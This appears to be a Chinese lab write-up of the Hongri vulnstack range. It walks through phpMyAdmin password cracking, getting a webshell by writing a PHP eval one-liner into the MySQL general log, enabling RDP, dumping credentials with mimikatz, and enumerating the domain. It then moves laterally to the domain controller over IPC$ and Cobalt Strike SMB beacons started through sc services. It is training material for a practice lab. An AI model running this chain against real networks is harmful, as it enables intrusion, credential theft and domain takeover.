红日-day1
红日靶场
day1
环境搭建
win7
设置多网卡,直接在vm里添加网卡即可
修改ip
再搭建另一个网卡,这里不能选连接到此网络,模拟真实环境
让虚拟机吃上网卡,vulnstack-win7
密码hongrisec@2019,进去后ipconfig一下,看看网卡装上没
配置ip地址
公网:192.168.111.128
内网:192.168.52.149
公网
内网(141改138,要域控的地址)所以后面有一段是脱域了
配置好后
把win7的防火墙关了,用本机ping一下
说明可以访问,再ping一下内网
ping不通才是正常的
域控win2008
记得用内网网卡
域内主机
内网渗透中的基本环境和账号
电脑的身份就是两种,第一种是本地工作,第二种是域,我们默认的电脑都是本地工作组的形式。综合靶场的渗透,这两种环境一定要分辨清楚,这个非常重要
一个大型单位里,打能有成百上千台计算机互相连接组成局域网,如果不对这些计算机进行分组,网络的混乱程度是可想而知的 为了解决这一问题,产生了工作组( Work Group)这个概念。将不同的计算机按功能(或部门)分别列入不同的工作组,例如技术部的计算机都列入”技术部“工作组、行政部的计算机都 列入”行政部“工作组。相比不分组的情况,这样的情况有序得多(尤其对大型局域 网来说)。
每个人的电脑默认是工作组形式存在
但工作组有个弊端,没有集中统计管理,可以随便换,而且没有统一的分发机制。而域控就可以对这些电脑统一控制,域控就是域环境的控制器
为了解决工作的不方便性,提出了域这个概念
域(Domain)是一个有安全边界的计算机集合,可以简单地把域理解成升级版的工作组。与工作组相比,域的安全管理控制机制更加严格。用户要想访问域内的资源,必须以合法的身份登录域,而用户对域内的资源拥有什么样的权限,还取决于用户在域内的身份
既然存在工作组和域两种形式的环境,那么针对于电脑而言,就有两种形式的账号
内网账号分类
1、工作组账号(本地账号)
2、域环境账号(域账号)
账号存储位置
1、本地账号在本地的机器上
2、域账号在域控上
账号识别
1、工作组账号(机器名\账户名)
2、域账号(域名\账户名)
就比如YOUZIPII\yxz就是一个本地账号,域账号就是GOD(域名)\yxz,进入到web服务器
这个god目前还不知道是什么账号,我们可以进去看一下hostname
可以看到hostname是stu1,所以god应该就是域名了,所以我们可以到域控里登陆这个账号试试
提示密码过期,更改一下
还有复杂度要求,那就改成admin@123把
这时,三台主机就都被更改了,域控主机也可以用这个登陆,域控账号可以登陆域内任意一台电脑,对于多个域有各自的域账号,拿到域控就基本打穿了
渗透测试第一步信息收集技术
先把web服务开起来,记得先重启一下
信息收集就是收集目标的相关信息,其中包含了
- iP地址
- 子域名
- 目录结构
- JS信息
- APP和小程序
- 端口
- 旁站
- C段
- whois信息
- 公司相关手机邮箱。
端口
御剑扫描
可以发现开了80、135、139、445、3306端口
不同端口对应不同服务,访问80端口看看web服务
打点技术和漏洞挖掘思路
目录扫描
漏洞搜索与利用历史漏洞
phpmyadmin爆破
都是基于字典的爆破,顺便补充一下四种爆破的区别
https://blog.csdn.net/qq_39101049/article/details/90234669
但结果好像不太行,换了一种工具PMAcrack破解了root:root
PhpMyadmin GetShell
通过日志getshell,原理如下
general log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
第一步:查看当前的日志配置
show variables like 'general%'; |
当前日志是关闭的,且存的目录也一起打印了
第二步:开启日志
set global general_log = on; |
开启后,一些操作就会被记录到这里,但我们没法访问这个文件,所以我们需要改变这个路径
第三步:自定义日志路径
在探针中包含了两个路径,我们可以随便挑一个来写木马,这里我们新建一个
set global general_log_file='C:/phpStudy/WWW/yxz.php' |
成功访问日志
第四步:执行查询让日志记录木马
select '<?php @eval($_POST[1]); ?>' |
成功记录在文件里了,
常见连接shell工具
- 蚁剑 php 2015-2020
- 哥斯拉 java 2020-现在
- 冰蝎
- 菜刀 asp 80 2000-2010
这里用蚁剑连
第五步:蚁剑连接shell
进入shell看看账号,发现域账号
远程桌面
查看3389端口是否开放
没有,那我们需要给他开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" |
远程关闭防火墙
netsh firewall show state |
但我们还不知道密码,所以需要获取密码,要用到mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit" |
也可以看SAM文件,这里我们用mimikatz,给它上传到web服务器去
成功获取密码hongrisec@2019
已经是最高权限了,就不用提权了,作下权限维持,多埋几个木马,编辑其它文件
看下步骤,下面应该是内网信息收集
内网信息收集
因为前面脱域了,这里重新调了下环境,在web服务器看看域内账号
- 内网本地信息收集
- 自动收集本地信息
- 内网IP扫描技术
- 内网端口扫描技术
- 域内基础信息收集
- 查找域控制器
- 获取域内用户
- 定位域管理员
- PowerShell使用方式
- 内网渗透PowerShell脚本
- 敏感数据定位
第一步:获取当前账号机器名
所以前面那个应该是域账号
第二部:收集主机信息,里面有加入的域名
systeminfo |
第三步:看域里有多少个用户
net user /domain |
域中有5个用户
第三步:看有几台电脑
net group "domain computers" /domain |
三台,除了STU1,还有
DEV1和ROOT-TVI862UBEH
第四步:查域的ip和域名
nslookup -type=SRV _ldap._tcp |
域控ip:192.168.52.138
域全名:owa.god.org前面的owa是机器名
第五步:查看IP地址
ipconfig |
还有另一个ip,看下这个网段里存活了几台机器
arp -a |
存活两台主机138和141,ping一下,结合之前的机器名
ping DEV1.god.org |
192.168.52.138 -owa.god.org域控
192.168.52.141 -ROOT-TVI862UBEH.god.org域内主机
192.1668.52.143 STU1.god.org已经被控制的web服务器
优先控制域控
Webshell管理工具也可以执行命令,但是在一些操作上实受限的,比如想提权,想扫描想横向,想代理都是不方便的怎么办呢??接下来就要使用CS或者MSF工具
CS
注意攻击机要和服务器在同一网段,或者互项ping的通
teamserver.bat ip 123456 |
创建监听器
生成木马
选择刚刚创建好的木马
把木马上线到服务器
运行木马,没有上线,重新来一下,搞了半天,发现不是一个网段的。。。
把攻击机的网络配置也改了就好
横向移动(lateral movement)
成功的横向移动攻击可以使攻击者闯入用户现有系统,并访问系统资源。高级持续性威胁(APT)是横向移动带来的最常见网络攻击类型。如果网络有足够多未加保护的漏洞,只要有足够的时间,黑客最终就可以访问域控制器本身。
横向移动就是通过一台电脑从而控制公司的整个电脑
可以利用的技术
- 远控工具
- IPC$
- PTH哈希传递
- PTK密钥传递
- PTT票据传递
- PSexec工具
- SMB工具
- WinRM命令
- WMI命令
这里利用IPC技术实现
IPC
IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。
前提:知道域账号
这里还可以利用CS执行mimikatz
然后执行命令
net use \\192.168.52.138\ipc$ "admin@123" /user:god\administrator |
执行成功后,我们可以看下有没有建立ipc管道
建立IPC之后就可以访问对方的电脑了,可以用如下的命令
dir \IP地址\c$
net time \\lP地址
copy 文件 \\IP地址\C$
这里就不能通过木马上线了,因为内网环境下是无法连接外网,也就是不出网,我们需要把web服务器当作跳板机,让它来转发流量,这就要用到隧道代理技术了
隧道技术
接下来介绍一下如何上线不出网的机器这里我们使用CS自带的功能,进行内网
穿透实验
SMB Beacon:
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。
新建个监听器
这次生成木马和前面不一样了
生成的木马,我们也可以通过CS上传
然后我们把木马再传到域控的C盘去
copy smb.exe \\192.168.52.138\C$ |
下面就是执行木马的问题了,这里我们通过创建服务的方式去运行木马
sc \\owa.god.org create test binpath= "cmd.exe /c c:\smb.exe" |
前面一次运行失败了,改了个空格就是binpath=后面要加个空格
服务创建成功后,我们就要开启服务
sc \\owa.god.org start test |
这样就是成功开启了,要及时连接,不然会
连接目标机器(必须主动连接)
link owa.god.org |
成功上线system权限
题外话
美国入侵伊朗核设施:蠕虫
棱镜门斯诺登:窃听全世界等
华住五亿条记录等